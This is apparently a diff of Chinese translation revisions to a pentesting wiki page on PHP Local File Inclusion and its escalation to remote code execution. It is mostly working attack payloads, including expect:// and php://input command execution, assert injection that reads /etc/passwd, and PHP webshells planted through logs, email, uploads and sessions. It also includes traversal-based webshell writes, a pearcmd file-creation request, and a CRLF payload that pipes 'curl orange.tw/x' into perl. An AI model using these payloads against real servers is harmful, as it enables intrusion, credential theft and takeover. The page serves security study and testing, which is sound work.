注意,该协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 的限制
|
||||
请注意,该协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 的限制
|
||||
|
||||
### expect://
|
||||
|
||||
Expect 必须被启用。你可以使用它来执行代码:
|
||||
Expect 必须启用。你可以使用以下方式执行代码:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
在 POST 参数中指定你的 payload:
|
||||
在 POST 参数中指定 payload:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
当 web 应用程序利用诸如 `include` 之类的函数进行文件加载时,`.phar` 文件可被用来执行 PHP 代码。下面的 PHP 代码片段演示了创建 `.phar` 文件:
|
||||
当 web 应用使用诸如 `include` 之类的用于加载文件的函数时,可以利用 `.phar` 文件来执行 PHP 代码。下面的 PHP 代码片段演示了如何创建一个 `.phar` 文件:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -358,11 +358,11 @@ $phar->stopBuffering();
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
执行后,会创建一个名为 `test.phar` 的文件,可能被用于利用 Local File Inclusion (LFI) 漏洞。
|
||||
执行后,会创建一个名为 `test.phar` 的文件,该文件可能被用来利用 Local File Inclusion (LFI) 漏洞。
|
||||
|
||||
如果 LFI 只是通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数读取文件而不执行其中的 PHP 代码,则可以尝试利用与使用 `phar` 协议读取文件相关的反序列化漏洞。
|
||||
在 LFI 仅执行文件读取而不运行其中 PHP 代码的情况下,比如通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数,可以尝试利用与 `phar` 协议读取文件相关的反序列化漏洞。
|
||||
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
要详细了解在 `.phar` 文件上下文中利用反序列化漏洞,请参阅下面的文档:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -373,74 +373,74 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
可以滥用 **任何来自 PHP 的、支持 php filters 的任意文件读取** 来获得 RCE。The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
简要总结:在 PHP heap 中滥用一个 **3 字节溢出** 来 **修改特定大小的空闲 chunk 链**,从而可以 **在任意地址写入任意内容**,因此添加了一个钩子来调用 **`system`**。\
|
||||
可以滥用 **任何由 PHP 读取且支持 php filters 的任意文件** 来获得 RCE。The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
非常简要的总结:在 PHP heap 中利用了一个 **3 byte overflow** 来**修改特定大小空闲 chunk 的链**,以便能够**在任意地址写入任意内容**,因此添加了一个钩子来调用 **`system`**。\
|
||||
可以通过滥用更多 php filters 来分配特定大小的 chunks。
|
||||
|
||||
### 更多协议
|
||||
|
||||
查看更多可能的[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
查看更多可能的[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在 file inclusion attack 中如何有用)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在 file inclusion 攻击中如何有用)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URLs
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URLs
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 压缩流
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不返回任何可打印内容,因此在这里不太有用)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不会返回可打印的内容,因此在这里并不太有用)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适合读取任意文件)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适用于读取任意文件)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
当涉及 'assert' 函数时,PHP 中的 Local File Inclusion (LFI) 风险特别高,因为该函数可以执行字符串内的代码。特别是在对包含目录遍历字符如 ".." 的输入进行检查但未正确清理时,这尤其成问题。
|
||||
当涉及 'assert' 函数时,PHP 中的 Local File Inclusion (LFI) 风险尤其高,因为该函数可以执行字符串内的代码。特别是在对包含目录穿越字符(如 `..`)的输入进行检查但未正确消毒的情况下,这尤其成问题。
|
||||
|
||||
例如,PHP 代码可能会这样设计以防止目录遍历:
|
||||
例如,PHP 代码可能被设计为如下防止目录遍历:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
虽然这旨在阻止 traversal,但却无意中为 code injection 创造了一个向量。为了利用这一点读取文件内容,攻击者可以使用:
|
||||
虽然这旨在阻止遍历,但它无意中创造了一个代码注入的向量。要利用这一点读取文件内容,攻击者可以使用:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
类似地,要执行任意系统命令,可以使用:
|
||||
同样地,为了执行任意系统命令,可以使用:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
重要:**URL-encode these payloads**。
|
||||
It's important to **URL-encode these payloads**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> 该技术适用于你在某些情况下:你对要被访问的文件的**file path**具有**control**,且由某个**PHP function**去**access a file**,但你看不到文件内容(例如简单调用**`file()`**)时。
|
||||
> 该技术适用于你**控制**一个**PHP 函数**的**文件路径**,该函数会**访问文件**但你无法看到文件内容的情形(比如简单调用 **`file()`**),即内容不会被显示。
|
||||
|
||||
在 [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) 中解释了如何通过 PHP filter 滥用 blind path traversal,利用 error oracle 去 exfiltrate 文件内容。
|
||||
在 [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) 中解释了如何通过 PHP filter 利用盲路径遍历来通过错误 oracle **exfiltrate** 文件内容。
|
||||
|
||||
总结:该技术使用 **"UCS-4LE" encoding** 使文件内容变得非常**big**,以至于负责打开文件的**PHP function**会触发一个**error**。
|
||||
概括来说,该技术使用 **"UCS-4LE" encoding** 将文件内容变得足够**大**,以至于打开该文件的 **PHP 函数** 会触发一个**错误**。
|
||||
|
||||
然后,为了 leak 第一个字符,使用 filter **`dechunk`** 以及 **base64** 或 **rot13** 等,最后使用 filters **convert.iconv.UCS-4.UCS-4LE** 和 **convert.iconv.UTF16.UTF-16BE** 来把其他 chars 放到开头并 leak 它们。
|
||||
然后,为了 leak 第一个字符,使用 filter **`dechunk`** 以及其他如 **base64** 或 **rot13**,最后用 filters **convert.iconv.UCS-4.UCS-4LE** 和 **convert.iconv.UTF16.UTF-16BE** 来**在开头放置其他字符并 leak 它们**。
|
||||
|
||||
**可能受影响的函数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
可能易受影响的函数: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
有关技术细节请查看上文提到的文章!
|
||||
有关技术细节,请查看上述文章!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
当服务器端用于接收/上传文件的代码在构建目标路径时使用了来自用户的输入(例如 filename 或 URL),且没有进行规范化和校验,`..` segments 和绝对路径就可以跳出预期存储目录并导致任意文件写入。如果你能把 payload 放到 web-exposed directory 下,通常通过放置 webshell 就能获得未认证的 RCE。
|
||||
当服务端用于接收/上传文件的代码在构建目标路径时使用了用户控制的数据(例如文件名或 URL),且没有进行规范化和校验,`..` 段和绝对路径就可能逃出预期目录并导致任意文件写入。如果你能将 payload 放到一个对外暴露的 web 目录下,通常可以通过放置 webshell 来获取未认证的 RCE。
|
||||
|
||||
典型利用流程:
|
||||
- 识别接受路径/filename 并将内容写入磁盘的写入原语(例如消息驱动的 ingestion、XML/JSON 命令处理器、ZIP 解压器等)。
|
||||
- 确定 web-exposed directories。常见示例:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- 构造一个 traversal path,将目标从预期的存储目录跳出到 webroot,并包含你的 webshell 内容。
|
||||
- 识别一个在 endpoint 或后台 worker 中的写入原语,该原语接受路径/文件名并将内容写入磁盘(例如消息驱动的 ingestion、XML/JSON 命令处理器、ZIP 解压器等)。
|
||||
- 确定对外暴露的 web 目录。常见示例:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- 构造一个 traversal 路径,将其从预期的存储目录突破到 webroot,并包含你的 webshell 内容。
|
||||
- 访问被写入的 payload 并执行命令。
|
||||
|
||||
注意:
|
||||
- 执行写入的易受攻击服务可能监听在非 HTTP 端口(例如,一个在 TCP 4004 上的 JMF XML listener)。主 web 门户(不同端口)随后会对外提供你的 payload。
|
||||
- 在 Java 栈中,这类文件写入通常通过简单的 `File`/`Paths` 拼接实现。缺乏规范化/白名单是核心缺陷。
|
||||
- 执行写入的易受攻击服务可能监听非 HTTP 端口(例如在 TCP 4004 上的 JMF XML listener)。主 web 门户(不同端口)随后会提供你的 payload。
|
||||
- 在 Java 技术栈中,这类文件写入通常通过简单的 `File`/`Paths` 拼接实现。缺乏规范化/白名单是核心缺陷。
|
||||
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
@ -466,25 +466,25 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
硬化可以防止此类漏洞:
|
||||
- 解析为规范路径并强制其为允许列入白名单的基础目录的子目录。
|
||||
硬化措施,可以防止这一类漏洞:
|
||||
- 解析为规范路径,并确保它是允许白名单基目录的子目录。
|
||||
- 拒绝任何包含 `..`、绝对根路径或驱动器字母的路径;优先使用生成的文件名。
|
||||
- 以低权限账户运行写入程序,并将写入目录与被服务的根目录隔离。
|
||||
- 以低权限账户运行写入进程,并将写入目录与对外提供的根目录隔离。
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
前面已解释, [**follow this link**](#remote-file-inclusion)。
|
||||
前面已解释,[**请点击此链接**](#remote-file-inclusion)。
|
||||
|
||||
### 通过 Apache/Nginx 日志文件
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
如果 Apache 或 Nginx 服务器在 include 函数中**vulnerable to LFI**,你可以尝试访问 **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**,在 **user agent** 或 **GET parameter** 中写入类似 **`<?php system($_GET['c']); ?>`** 的 php shell,然后 include 该文件
|
||||
如果 Apache 或 Nginx 服务器在 include 函数中**易受 LFI**,你可以尝试访问 **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**,在 **user agent** 或 **GET parameter** 中写入类似 **`<?php system($_GET['c']); ?>`** 的 php shell,然后 include 该文件
|
||||
|
||||
> [!WARNING]
|
||||
> 注意,**如果你使用双引号**为 shell 而不是**单引号**,双引号会被替换为字符串 "_**quote;**_",**PHP 会抛出错误**,那里的代码将**不会被执行**。
|
||||
> 注意,**如果你为 shell 使用双引号**而不是**单引号**,双引号会被修改为字符串 "_**quote;**_",**PHP 会在那抛出错误**,并且**不会执行其他任何东西**。
|
||||
>
|
||||
> 另外,确保你**正确编写 payload**,否则每次尝试加载日志文件时 PHP 都会报错,你将没有第二次机会。
|
||||
> 另外,确保你**正确编写 payload**,否则每次尝试加载日志文件时 PHP 都会报错,并且你不会有第二次机会。
|
||||
|
||||
这也可以在其他日志中完成,但**注意,**日志中的代码可能是 URL encoded,这可能会破坏 Shell。头部 **authorisation "basic"** 包含 Base64 编码的 "user:password",并且在日志中被解码。PHPShell 可以插入到此头部中。\
|
||||
这也可以在其他日志中完成,但**要小心,**日志内的代码可能是 URL 编码的,这会破坏 Shell。头部 **authorisation "basic"** 包含以 Base64 编码的 "user:password",并且会在日志中被解码。PHPShell 可以插入到该头部中。
|
||||
其他可能的日志路径:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -497,46 +497,46 @@ in.transferTo(out);
|
||||
/var/log/nginx/error.log
|
||||
/var/log/httpd/error_log
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
Fuzzing 字典: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### 通过电子邮件
|
||||
|
||||
**发送邮件** 到一个内部账户 (user@localhost),邮件包含你的 PHP payload,比如 `<?php echo system($_REQUEST["cmd"]); ?>`,然后尝试包含该用户的邮件文件,路径如 **`/var/mail/<USERNAME>`** 或 **`/var/spool/mail/<USERNAME>`**
|
||||
**向内部账户发送邮件**(user@localhost),邮件中包含你的 PHP payload,例如 `<?php echo system($_REQUEST["cmd"]); ?>`,然后尝试包含用户的邮件,路径例如 **`/var/mail/<USERNAME>`** 或 **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### 通过 /proc/\*/fd/\*
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
1. 上传大量 shell(例如:100 个)
|
||||
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID(可暴力枚举),$FD 是文件描述符(也可暴力枚举)
|
||||
1. 上传大量 shells(例如:100)
|
||||
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID(可以暴力猜测)且 $FD 为文件描述符(也可以暴力猜测)
|
||||
|
||||
### 通过 /proc/self/environ
|
||||
### Via /proc/self/environ
|
||||
|
||||
类似日志文件,将 payload 放在 User-Agent 中发送,它会反射到 /proc/self/environ 文件中
|
||||
类似于日志文件,将 payload 放在 User-Agent 中发送,它会被反射到 /proc/self/environ 文件中
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### 通过上传
|
||||
### Via upload
|
||||
|
||||
如果你可以上传一个文件,只需在其中注入 shell payload (e.g : `<?php system($_GET['c']); ?>` ).
|
||||
如果你可以 upload 文件,只需在其中注入 shell payload(例如:`<?php system($_GET['c']); ?>`)。
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
为了保持文件可读,最好将其注入到图片/文档/PDF 的元数据中
|
||||
为了保持文件可读,最好将其注入到图片/doc/pdf 的元数据中
|
||||
|
||||
### 通过 ZIP 文件上传
|
||||
|
||||
上传一个包含已压缩 PHP shell 的 ZIP 文件并访问:
|
||||
上传包含已压缩 PHP shell 的 ZIP 文件并访问:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### 通过 PHP sessions
|
||||
### Via PHP sessions
|
||||
|
||||
检查网站是否使用 PHP Session (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
在 PHP 中,这些会话存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 文件中
|
||||
在 PHP 中,这些 sessions 存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 文件中
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
@ -545,24 +545,24 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
使用 LFI 包含 PHP 会话文件
|
||||
使用 LFI 包含 PHP session 文件
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### 通过 ssh
|
||||
|
||||
如果 ssh 处于激活状态,检查当前使用的用户(/proc/self/status & /etc/passwd),并尝试访问 **\<HOME>/.ssh/id_rsa**
|
||||
如果 ssh 处于活动状态,检查正在使用的用户(/proc/self/status & /etc/passwd),并尝试访问 **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **通过** **vsftpd** _**日志**_
|
||||
|
||||
FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在 Local File Inclusion (LFI) 漏洞且可以访问暴露的 vsftpd 服务器的情况下,可以考虑以下步骤:
|
||||
FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。如果存在 Local File Inclusion (LFI) 漏洞,并且可以访问暴露的 vsftpd 服务器,则可以考虑以下步骤:
|
||||
|
||||
1. 在登录过程中,将 PHP payload 注入到用户名字段。
|
||||
2. 注入之后,利用 LFI 从 _**/var/log/vsftpd.log**_ 获取服务器日志。
|
||||
1. 在登录过程中将 PHP payload 注入到 username 字段。
|
||||
2. 注入后,利用 LFI 从 _**/var/log/vsftpd.log**_ 检索服务器日志。
|
||||
|
||||
### 通过 php base64 filter(使用 base64)
|
||||
### 通过 php base64 filter (使用 base64)
|
||||
|
||||
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示,PHP base64 filter 会忽略非 base64 的字符。你可以利用这一点绕过文件扩展名检查:如果你提供的 base64 以 ".php" 结尾,它会忽略 "." 并在 base64 后追加 "php"。下面是一个示例 payload:
|
||||
正如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示,PHP base64 filter 会忽略非 base64 字符。你可以利用这一点绕过文件扩展名检查:如果你提供以 ".php" 结尾的 base64,它会忽略“.”并将“php”追加到 base64。下面是一个示例 payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -570,7 +570,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### 通过 php filters(无需文件)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php filters 来生成任意内容** 作为输出。基本上这意味着你可以为 **include** **生成任意 php 代码**,**而无需将其写入** 文件。
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 说明你可以使用 **php filters to generate arbitrary content** 作为输出。这基本上意味着你可以为 include **generate arbitrary php code**,而且**无需将其写入**文件。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md
|
||||
|
||||
### 通过 segmentation fault
|
||||
|
||||
**上传** 一个文件,该文件会以 **临时** 方式存储在 `/tmp`,然后在 **同一请求** 中触发 **segmentation fault**,之后该 **临时文件不会被删除**,你就可以搜索到它。
|
||||
**Upload** 一个文件,该文件将作为 **temporary** 存储在 `/tmp`,然后在 **same request** 触发一个 **segmentation fault**,这样 **temporary file won't be deleted**,你就可以搜索它。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md
|
||||
|
||||
### 通过 Nginx temp file storage
|
||||
|
||||
如果你发现 **Local File Inclusion** 且 **Nginx** 部署在 PHP 之前,你可能可以使用下面的技巧获得 **RCE**:
|
||||
如果你发现了 **Local File Inclusion** 并且 **Nginx** 在 PHP 前端运行,你可能能够使用以下技术获得 **RCE**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### 通过 PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
如果你发现 **Local File Inclusion**,即使你 **没有 session** 且 `session.auto_start` 为 `Off`。如果你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**,PHP 会 **为你启用 session**。你可以滥用这一点来获取 **RCE**:
|
||||
如果你发现了 **Local File Inclusion**,即使你**don't have a session** 且 `session.auto_start` 为 `Off`。如果你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**,PHP 会为你**enable the session**。你可以滥用此来获得 **RCE**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### 通过 temp file uploads in Windows
|
||||
### 通过 Windows 上的临时文件上传
|
||||
|
||||
如果你发现 **Local File Inclusion** 且服务器在 **Windows** 上运行,你可能能获得 **RCE**:
|
||||
如果你发现 **Local File Inclusion** 且服务器运行在 **Windows**,你可能获得 **RCE**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -615,22 +615,23 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### 通过 `pearcmd.php` + URL args
|
||||
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp),脚本 `/usr/local/lib/phppearcmd.php` 在 php docker images 中默认存在。此外,可以通过 URL 将参数传递给该脚本,因为文中指出如果 URL 参数没有 `=`,则应将其作为参数使用。另见 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) 和 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)。
|
||||
正如 [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) 所述,脚本 `/usr/local/lib/phppearcmd.php` 在 php docker images 中默认存在。此外,可以通过 URL 向该脚本传递参数,因为指出如果 URL param 没有 `=`,它应被用作 argument。另见 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) 和 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)。
|
||||
|
||||
下面的请求会在 `/tmp/hello.php` 创建一个文件,内容为 `<?=phpinfo()?>`:
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
下面滥用 CRLF 漏洞 获取 RCE (来自 [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
以下示範如何濫用 CRLF vuln 以獲得 RCE (來自 [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
### 通过 phpinfo()(file_uploads = on)
|
||||
### 通过 phpinfo() (file_uploads = on)
|
||||
|
||||
如果你发现了一个 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 且 file_uploads = on 的文件,你可以获得 RCE:
|
||||
|
||||
如果你发现一个 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 且 file_uploads = on 的文件,你可以获得 RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
@ -638,7 +639,8 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
如果你发现一个 **Local File Inclusion** 并且你 **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, 你可以尝试用这个 **Race Condition** 来 **bypass that check**:
|
||||
如果你发现了一个 **Local File Inclusion** 并且你 **can exfiltrate the path** of the temp file,但 **server** 正在 **checking** 是否 **file to be included has PHP marks**,你可以尝试用这个 **Race Condition** 来 **bypass that check**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
@ -646,22 +648,23 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### 通过 eternal waiting + bruteforce
|
||||
|
||||
如果你可以滥用 LFI 来 **upload temporary files** 并使 **server** **hang** PHP 执行,你就可以在数小时内 **brute force filenames during hours** 来找到临时文件:
|
||||
如果你可以滥用 LFI 来 **upload temporary files** 并使 **server** **hang** PHP 执行,你可以随后 **brute force filenames during hours** 来找到临时文件:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### 导致致命错误
|
||||
### 导致 Fatal Error
|
||||
|
||||
如果你包含以下任一文件 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`。(你需要包含同一个文件 2 次以抛出该错误)。
|
||||
如果你包含以下任意文件 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`。(你需要包含相同的文件 2 次来触发该错误)。
|
||||
|
||||
**我不知道这有多大用处,但可能有用。**\
|
||||
_即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。_
|
||||
**我不知道这有何用,但它可能有用。**\
|
||||
_即使你导致了 PHP Fatal Error,上传的 PHP 临时文件也会被删除。_
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 参考
|
||||
## 参考资料
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
@ -670,6 +673,7 @@ _即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -2,36 +2,37 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Intro
|
||||
|
||||
这篇 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意的 php 代码** 进行包含 **而不需要将其写入文件**。
|
||||
## 简介
|
||||
|
||||
基本上,脚本的目标是在文件的 **开头** 生成一个 **Base64** 字符串,最终将被 **解码**,提供所需的有效载荷,**将被 `include` 解释**。
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)解释你可以使用 **php filters to generate arbitrary content** 作为输出。基本上这意味着你可以为 include 生成任意的 **php code**,而无需将其写入文件。
|
||||
|
||||
实现这一目标的基础是:
|
||||
